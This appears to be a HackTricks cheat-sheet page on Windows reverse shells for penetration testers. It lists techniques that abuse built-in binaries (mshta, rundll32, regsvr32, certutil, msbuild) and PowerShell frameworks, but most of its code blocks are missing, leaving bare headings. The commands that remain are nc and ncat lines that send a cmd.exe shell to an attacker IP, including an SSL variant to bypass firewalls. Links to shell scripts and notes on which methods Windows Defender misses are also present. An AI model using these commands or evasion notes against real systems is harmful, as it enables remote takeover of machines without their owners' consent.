Reverse Shells - Windows
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lolbas
The page lolbas-project.github.io is for Windows like https://gtfobins.github.io/ is for linux. Obviously, there aren't SUID files or sudo privileges in Windows, but it's useful to know how some binaries can be (ab)used to perform some kind of unexpected actions like execute arbitrary code.
NC
nc.exe -e cmd.exe <Attacker_IP> <PORT>NCAT
victim
ncat.exe <Attacker_IP> <PORT> -e "cmd.exe /c (cmd.exe 2>&1)"
#Encryption to bypass firewall
ncat.exe <Attacker_IP> <PORT eg.443> --ssl -e "cmd.exe /c (cmd.exe 2>&1)"attacker
ncat -l <PORT>
#Encryption to bypass firewall
ncat -l <PORT eg.443> --sslSBD
sbd is a portable and secure Netcat alternative. It works on Unix-like systems and Win32. With features like strong encryption, program execution, customizable source ports, and continuous reconnection, sbd provides a versatile solution for TCP/IP communication. For Windows users, the sbd.exe version from the Kali Linux distribution can be used as a reliable replacement for Netcat.
Python
Perl
Ruby
Lua
OpenSSH
Attacker (Kali)
Victim
Powershell
Process performing network call: powershell.exe Payload written on disk: NO (at least nowhere I could find using procmon !)
Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache
One liner:
Get more info about different Powershell Shells at the end of this document
Mshta
Example of hta-psh reverse shell (use hta to download and execute PS backdoor)
You can download & execute very easily a Koadic zombie using the stager hta
hta example
mshta - sct
Mshta - Metasploit
Detected by defender
Rundll32
Detected by defender
Rundll32 - sct
Rundll32 - Metasploit
Rundll32 - Koadic
Regsvr32
Detected by defender
Regsvr32 -sct
Regsvr32 - Metasploit
You can download & execute very easily a Koadic zombie using the stager regsvr
Certutil
Download a B64dll, decode it and execute it.
Download a B64exe, decode it and execute it.
Detected by defender
Cscript/Wscript
Cscript - Metasploit
Detected by defender
PS-Bat
Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache
Detected by defender
MSIExec
Attacker
Victim:
Detected
Wmic
Example xsl file from here:
Not detected
You can download & execute very easily a Koadic zombie using the stager wmic
Msbuild
You can use this technique to bypass Application Whitelisting and Powershell.exe restrictions. As you will be prompted with a PS shell. Just download this and execute it: https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj
Not detected
CSC
Compile C# code in the victim machine.
You can download a basic C# reverse shell from here: https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc
Not deteted
Regasm/Regsvc
I haven't tried it
https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182
Odbcconf
I haven't tried it
https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2
Powershell Shells
PS-Nishang
https://github.com/samratashok/nishang
In the Shells folder, there are a lot of different shells. To download and execute Invoke-PowerShellTcp.ps1 make a copy of the script and append to the end of the file:
Start serving the script in a web server and execute it on the victim's end:
Defender doesn't detect it as malicious code (yet, 3/04/2019).
TODO: Check other nishang shells
PS-Powercat
https://github.com/besimorhino/powercat
Download, start a web server, start the listener, and execute it on the victim's end:
Defender doesn't detect it as malicious code (yet, 3/04/2019).
Other options offered by powercat:
Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files...
Empire
https://github.com/EmpireProject/Empire
Create a powershell launcher, save it in a file and download and execute it.
Detected as malicious code
MSF-Unicorn
https://github.com/trustedsec/unicorn
Create a powershell version of metasploit backdoor using unicorn
Start msfconsole with the created resource:
Start a web server serving the powershell_attack.txt file and execute in the victim:
Detected as malicious code
More
PS>Attack PS console with some offensive PS modules preloaded (cyphered) https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9 WinPWN PS console with some offensive PS modules and proxy detection (IEX)
References
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Last updated